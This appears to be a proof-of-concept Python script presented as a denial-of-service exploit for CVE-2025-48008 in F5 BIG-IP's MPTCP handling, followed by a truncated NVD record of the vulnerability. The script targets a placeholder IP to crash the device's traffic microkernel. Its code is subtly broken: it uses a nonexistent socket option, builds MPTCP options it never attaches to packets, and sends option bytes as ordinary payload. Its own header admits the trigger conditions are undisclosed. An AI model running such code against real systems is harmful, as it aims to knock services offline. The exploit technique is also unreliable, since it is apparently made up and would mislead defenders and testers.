CVE-2025-48008

# CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS # This PoC demonstrates triggering TMM termination via crafted MPTCP traffic # Note: Specific triggering conditions are not publicly disclosed by F5 # Use only for authorized security testing import socket import struct import random def build_mptcp_option(subtype, data=b''): """Build a generic MPTCP TCP option (Kind=30)""" kind = 30 # MPTCP option kind length = 2 + len(data) + 1 # kind + length + subtype + data + padding # Pad to 4-byte boundary if length % 4 != 0: length += 4 - (length % 4) option = struct.pack('!BB', kind, length) + struct.pack('!B', subtype) + data # Pad with NOP options while len(option) % 4 != 0: option += b'\x01' # NOP return option def build_mptcp_capable_option(): """MP_CAPABLE option (subtype 0) - initiate MPTCP connection""" # Version 1, flags=0, sender_key (random 64-bit) sender_key = random.getrandbits(64) data = struct.pack('!BB', 0x10, 0x00) + struct.pack('!Q', sender_key) return build_mptcp_option(0x00, data) def build_mptcp_join_option(token, nonce, addr_id): """MP_JOIN option (subtype 1) - join additional path""" # flags + address_id + receiver_token + sender_nonce + sender_address_id data = struct.pack('!BB', 0x00, addr_id) + struct.pack('!I', token) + struct.pack('!I', nonce) + struct.pack('!B', addr_id) return build_mptcp_option(0x01, data) def send_mptcp_syn(target_host, target_port): """Send SYN with MPTCP capable option to trigger vulnerability""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # Build SYN packet with MP_CAPABLE option mptcp_opt = build_mptcp_capable_option() # Set TCP options to include MPTCP s.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAX_SYN_BACKLOG, 5) try: s.connect((target_host, target_port)) print(f"[+] Connected to {target_host}:{target_port}") # Send data to trigger MPTCP path addition s.send(b'GET / HTTP/1.1\r\nHost: target\r\n\r\n') print("[+] Sent payload - check if TMM terminated") except Exception as e: print(f"[-] Connection error: {e}") finally: s.close() def send_malicious_mptcp_add_address(target_host, target_port, addr_id=1): """Send MPTCP ADD_ADDR with crafted parameters""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((target_host, target_port)) # Construct malformed MPTCP ADD_ADDR option # subtype 3 = ADD_ADDR # Using edge-case values to trigger TMM crash crafted_data = struct.pack('!BB', 0x00, addr_id) # flags + addr_id crafted_data += socket.inet_aton(target_host) # IPv4 address crafted_data += struct.pack('!H', target_port) # port mptcp_opt = build_mptcp_option(0x03, crafted_data) s.send(mptcp_opt) print("[+] Sent crafted MPTCP ADD_ADDR option") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": TARGET = "192.168.1.100" # Replace with target BIG-IP VIP PORT = 443 # Replace with target port print(f"[*] CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS") print(f"[*] Target: {TARGET}:{PORT}") print(f"[*] WARNING: Use only for authorized penetration testing\n") # Attempt 1: Send MPTCP SYN send_mptcp_syn(TARGET, PORT) # Attempt 2: Send crafted ADD_ADDR send_malicious_mptcp_add_address(TARGET, PORT)

{"cve": {"id": "CVE-2025-48008", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:48.003", "lastModified": "2025-10-21T18:53:07.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a TCP profile with Multipath TCP (MPTCP) enabled is configured on a virtual server, undisclosed traffic along with conditions beyond the attacker's control can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.1", "matchCriteriaId": "3222CE1A-3C23-40FC-9331-370F6BA1CDCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndIncluding": "1.9.2", "matchCriteriaId": "4C7328B4-B7E0-460E-8270-116FE813FB23"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "A7A0C1CA-EDEF-463F-B7C8-8B9E67239FC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "6538FBFE-AE3F-41DC-BE48-8A2444DE1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "8CDAF78A-6C2B-4640-93DD-524A0D9D80CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "4BEC05AA-EB63-4A34-94E8-81606329BA75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "F3007970-0661-4CAC-91A6-363396ED3B41"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "2450DC77-B46C-4886-AC9A-CF78B1EC4F06"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_visibility_and_reporting:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "D8BC9B56-DC91-4312-9A37-0892E1DCC97D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_automation_toolch ... (truncated)